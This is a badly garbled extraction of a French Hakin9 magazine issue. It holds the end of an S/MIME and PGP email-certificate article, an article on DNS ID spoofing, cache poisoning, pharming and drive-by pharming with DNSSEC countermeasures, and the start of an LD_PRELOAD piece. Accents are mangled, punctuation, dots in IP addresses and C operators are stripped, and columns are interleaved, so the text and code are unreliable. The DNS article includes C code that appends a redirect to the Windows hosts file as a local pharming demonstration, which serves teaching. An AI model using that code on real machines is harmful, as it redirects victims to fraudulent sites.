La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

